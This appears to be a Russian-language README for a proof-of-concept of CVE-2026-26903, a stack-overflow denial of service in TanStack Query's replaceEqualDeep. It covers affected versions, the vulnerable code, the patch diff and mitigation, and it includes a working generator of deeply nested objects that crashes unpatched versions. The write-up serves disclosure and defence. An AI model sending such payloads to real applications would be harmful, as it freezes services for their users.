
PoC для демонстрации CVE-2026-26903
Отказ в обслуживании из-за неограниченной рекурсии в функции replaceEqualDeep библиотеки TanStack Query
Один единственный специально сформированный запрос на обновление данных с глубоко вложенными объектами может заморозить поток JavaScript на неопределённый срок, что приведёт к полной неработоспособности приложения. Для этого не требуются аутентификация или особые привилегии.
Эта уязвимость была исправлена в @tanstack/[email protected] через PR #10032, опубликованный 14 января 2026 года.
| Пакет | Затронут | Исправлен |
|---|
| @tanstack/query-core | <= 5.90.16 | 5.90.17 |
| @tanstack/react-query | зависит от уязвимого query-core | 5.90.18+ |
| @tanstack/vue-query | зависит от уязвимого query-core | 5.90.18+ |
| @tanstack/solid-query | зависит от уязвимого query-core | 5.90.18+ |
| @tanstack/svelte-query | зависит от уязвимого query-core | 6.1.7+ |
CVE-2026-26903: Отказ в обслуживании через неограниченную рекурсию в replaceEqualDeep (Серьёзность: средняя)
Функция
replaceEqualDeepв TanStack Query выполняет рекурсивное сравнение вложенных объектов без ограничений по глубине. При обработке глубоко вложенных структур данных это может вызвать неограниченную рекурсию, приводящую к переполнению стека и замораживанию приложения.— Назначено через MITRE
Функция replaceEqualDeep библиотеки TanStack Query используется внутренне для определения того, действительно ли изменились данные запроса, оптимизируя повторные рендеры за счёт сохранения ссылок на объекты, когда это возможно. Функция рекурсивно обходит свойства объектов для выполнения глубокого сравнения на равенство.
В рекурсивной реализации отсутствуют ограничения по глубине и обнаружение циклов:
function replaceEqualDeep(a, b) {
// ... проверки типов ...
for (let i = 0; i < bSize; i++) {
const key = array ? i : bItems[i];
// ... проверки поверхностного равенства ...
// УЯЗВИМОСТЬ: неограниченная рекурсия здесь
const v = replaceEqualDeep(a[key], b[key]);
copy[key] = v;
// ...
}
return copy;
}
replaceEqualDeep с глубоко вложенными даннымиuseQuery с вложенными данными ответовsetQueryData, invalidateQueries или любая операция с кэшем запросовCVE-2026-26903-PoC/
├── README.md # Это файл
├── LICENSE
├── poc.js # PoC на Node.js (краш из-за переполнения стека)
└── tanstack-query-poc.html # PoC для браузера (интерактивная визуальная демонстрация)
git clone https://github.com/[your-username]/CVE-2026-26903-PoC.git
cd CVE-2026-26903-PoC
node poc.js
Testing replaceEqualDeep with deep nesting...
Depth: 100
OK - 0ms
Depth: 1000
OK - 1ms
Depth: 5000
CRASH - Maximum call stack size exceeded
Depth: 10000
CRASH - Maximum call stack size exceeded
open tanstack-query-poc.html
Вариант A: Автономная HTML-демонстрация (без зависимостей)
git clone https://github.com/[your-username]/CVE-2026-26903-PoC.git
cd CVE-2026-26903-PoC
open tanstack-query-poc.html
Вариант B: React-приложение (реалистичный сценарий)
cd examples/react-app-poc
npm install
npm start
# Перейдите на http://localhost:3000 и следуйте инструкциям на экране
PoC генерирует глубоко вложенные объекты и запускает replaceEqualDeep для их обработки:
function generateDeep(depth) {
let obj = { value: 'end' };
for (let i = 0; i < depth; i++) {
obj = { nested: obj };
}
return obj;
}
// Создаёт: { nested: { nested: { nested: ... { value: 'end' } } } }
const oldData = generateDeep(10000); // 10 000 уровней в глубину
const newData = generateDeep(10000); // Другой объект, та же структура
// Это вызывает неограниченную рекурсию:
replaceEqualDeep(oldData, newData);
replaceEqualDeep(obj1, obj2)
├── replaceEqualDeep(obj1.nested, obj2.nested) // Уровень 1
├── replaceEqualDeep(obj1.nested.nested, ...) // Уровень 2
├── replaceEqualDeep(...) // Уровень 3
└── ... (продолжается 10 000 уровней)
Каждый рекурсивный вызов добавляет новый фрейм стека, пока стек вызовов движка JavaScript не будет исчерпан, замораживая поток.
Расположение: @tanstack/query-core/src/utils.ts (приблизительно)
export function replaceEqualDeep(a, b) {
if (a === b) {
return a;
}
const array = isPlainArray(a) && isPlainArray(b);
if (!array && !(isPlainObject(a) && isPlainObject(b))) {
return b;
}
const aItems = array ? a : Object.keys(a);
const aSize = aItems.length;
const bItems = array ? b : Object.keys(b);
const bSize = bItems.length;
const copy = array ? new Array(bSize) : {};
let equalItems = 0;
for (let i = 0; i < bSize; i++) {
const key = array ? i : bItems[i];
if (a[key] === b[key]) {
copy[key] = a[key];
equalItems++;
continue;
}
if (
a[key] === null ||
b[key] === null ||
typeof a[key] !== 'object' ||
typeof b[key] !== 'object'
) {
copy[key] = b[key];
continue;
}
// УЯЗВИМОСТЬ: нет ограничения глубины или обнаружения циклов
const v = replaceEqualDeep(a[key], b[key]);
copy[key] = v;
if (v === a[key]) {
equalItems++;
}
}
return aSize === bSize && equalItems === aSize ? a : copy;
}
Исправление (применено в коммите TanStack Query 269351b) добавляет ограничение глубины для предотвращения неограниченной рекурсии:
- export function replaceEqualDeep<T>(a: unknown, b: T): T
- export function replaceEqualDeep(a: any, b: any): any {
+ export function replaceEqualDeep<T>(a: unknown, b: T, depth?: number): T
+ export function replaceEqualDeep(a: any, b: any, depth = 0): any {
if (a === b) {
return a
}
+ if (depth > 500) return b
+
const array = isPlainArray(a) && isPlainArray(b)
if (!array && !(isPlainObject(a) && isPlainObject(b))) return b
// ... средняя часть без изменений ...
- const v = replaceEqualDeep(aItem, bItem)
+ const v = replaceEqualDeep(aItem, bItem, depth + 1)
copy[key] = v
if (v === aItem) equalItems++
Ключевые изменения:
depth со значением по умолчанию 0 для отслеживания глубины рекурсииb немедленно, если depth > 500replaceEqualDeep(aItem, bItem, depth + 1)
Это простое исправление предотвращает переполнение стека, сохраняя при этом разумную вложенность (500 уровней более чем достаточно для реальных структур данных).Реализуйте ограничение глубины в replaceEqualDeep:
function replaceEqualDeep(a, b, depth = 0) {
if (depth > MAX_DEPTH) return b; // Предотвращает глубокую рекурсию
if (a === b) return a;
// ... существующая логика ...
const v = replaceEqualDeep(a[key], b[key], depth + 1);
// ... остальная часть функции
}
Или используйте итеративный обход вместо рекурсии.
Эта proof-of-concept демонстрация предоставлена только в образовательных целях и для авторизованного тестирования безопасности. Используйте её ответственно и только против приложений, которыми вы владеете или на тестирование которых у вас есть явное разрешение. Авторы не несут ответственности за любое неправомерное использование этой информации.